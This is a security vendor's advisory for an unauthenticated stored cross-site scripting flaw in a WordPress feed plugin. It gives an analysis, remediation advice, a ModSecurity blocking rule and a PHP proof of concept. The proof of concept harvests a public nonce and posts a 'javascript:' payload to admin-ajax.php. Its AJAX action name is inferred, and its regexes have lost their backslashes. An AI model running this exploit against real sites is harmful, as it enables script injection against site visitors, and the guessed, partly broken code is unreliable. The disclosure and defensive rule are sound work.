Opens in a new tab
Published : November 17, 2026

CVE-2026-126131: WP Instant Feeds <= 1.3.4 Unauthenticated Stored Cross-Site Scripting via 'data[images][][url]' Parameter PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 1.3.4
Patched Version —
Disclosed November 17, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-126131 (metadata-based): The WP Instant Feeds plugin for WordPress (slug wp-my-instagram) versions up to 1.3.4 is vulnerable to unauthenticated stored cross-site scripting (XSS) via the ‘data[images][][url]’ parameter. An attacker can inject arbitrary JavaScript that executes when any user views an injected page. The CVSS score is 7.2 (High), with a vector indicating network-based, low-complexity, no privileges required, no user interaction, scope change, and low confidentiality and integrity impact.

Root Cause: The vulnerability arises from insufficient input sanitization and output escaping (CWE-79). The plugin fails to properly sanitize the ‘data[images][][url]’ parameter before storing it, and later outputs it without escaping in a page context. Atomic Edge analysis infers that the cache-write AJAX endpoint handles this parameter without adequate sanitization, likely using only a nonce check for access control. The nonce is minted for uid 0 (unauthenticated) and emitted via wp_localize_script on front-end pages, making it harvestable by any visitor. This allows unauthenticated attackers to pass the nonce check and write malicious data to the cache. The exact code pattern is not confirmed from source, but the CWE and description strongly indicate missing sanitization and escaping.

Exploitation: An attacker first visits any front-end page that renders a feed to obtain the nonce from the page source (e.g., within a JavaScript variable). The nonce is generated for uid 0 and is identical for all unauthenticated users. The attacker then sends a POST request to /wp-admin/admin-ajax.php with the action parameter set to the cache-write AJAX action (likely ‘wp_my_instagram_cache_write’ or similar, inferred from plugin slug). The request includes the nonce and the malicious payload in data[images][][url], such as a URL containing an XSS vector like ‘javascript:alert(document.domain)’ or a script tag. The payload is stored in the cache and later rendered without escaping, executing in the browser of any user who views the affected page.

Remediation: The fix requires sanitizing the ‘data[images][][url]’ parameter on input and escaping it on output. Atomic Edge analysis recommends that the plugin validate the URL using esc_url_raw() or a whitelist of allowed schemes, and escape it with esc_url() when rendering. Additionally, the cache-write AJAX endpoint should enforce proper capability checks (e.g., require manage_options) and use a nonce that is not publicly exposed to unauthenticated users. The nonce should be tied to a specific user and action, and the endpoint should verify user capabilities before processing.

Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of any user’s browser when they visit an injected page. This can lead to session hijacking, theft of sensitive information, defacement, or redirection to malicious sites. Because the attack is unauthenticated and requires no user interaction beyond visiting a page, it can be widely exploited. The scope change indicates that the vulnerability can affect resources beyond the plugin’s intended security scope, potentially compromising the entire WordPress site.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:20261261,phase:2,deny,status:403,chain,msg:'CVE-2026-126131 via WP Instant Feeds AJAX',severity:'CRITICAL',tag:'CVE-2026-126131'"
SecRule ARGS_POST:action "@streq wp_my_instagram_cache_write" "chain"
SecRule ARGS_POST:data[images][][url] "@rx javascript:" "t:urlDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-126131 - WP Instant Feeds <= 1.3.4 - Unauthenticated Stored XSS via 'data[images][][url]'

// This PoC assumes:
// - The target WordPress site has the vulnerable plugin active.
// - A front-end page renders a feed and includes a nonce for the cache-write AJAX action.
// - The AJAX action name is 'wp_my_instagram_cache_write' (inferred from plugin slug).
// - The nonce is retrievable from the page source (e.g., in a JavaScript variable).
// Adjust the variables below as needed.

$target_url = 'http://example.com'; // Set to the target WordPress site URL
$page_with_feed = '/'; // Path to a page that renders a feed

// Step 1: Fetch the page to extract the nonce
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, rtrim($target_url, '/') . $page_with_feed);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
if ($response === false) {
    die('cURL error: ' . curl_error($ch));
}
curl_close($ch);

// Attempt to extract the nonce from the page. This regex is a best guess.
// The actual nonce might be in a JavaScript object or a data attribute.
if (!preg_match('/"nonce"s*:s*"([a-f0-9]+)"/i', $response, $matches)) {
    if (!preg_match('/wp_my_instagram_cache_write_nonces*=s*'([a-f0-9]+)''/i', $response, $matches)) {
        die('Could not extract nonce. The page may not contain the expected feed or nonce variable.n');
    }
}
$nonce = $matches[1];
echo "Extracted nonce: $noncen";

// Step 2: Craft the XSS payload. Using a javascript: URL to trigger XSS when rendered as an image source.
$payload = 'javascript:alert(document.domain)';

// Step 3: Send the POST request to admin-ajax.php with the malicious parameter
$post_data = [
    'action' => 'wp_my_instagram_cache_write', // Inferred action name
    'nonce' => $nonce,
    'data' => [
        'images' => [
            [
                'url' => $payload
            ]
        ]
    ]
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, rtrim($target_url, '/') . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
if ($response === false) {
    die('cURL error: ' . curl_error($ch));
}
curl_close($ch);

echo "Response from server:n$responsen";

// Step 4: The payload is now stored. Visiting the page should trigger the XSS.
// Note: Success depends on whether the plugin stores and outputs the URL without sanitization.
// This PoC is based on metadata; actual exploitation may require adjustments.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.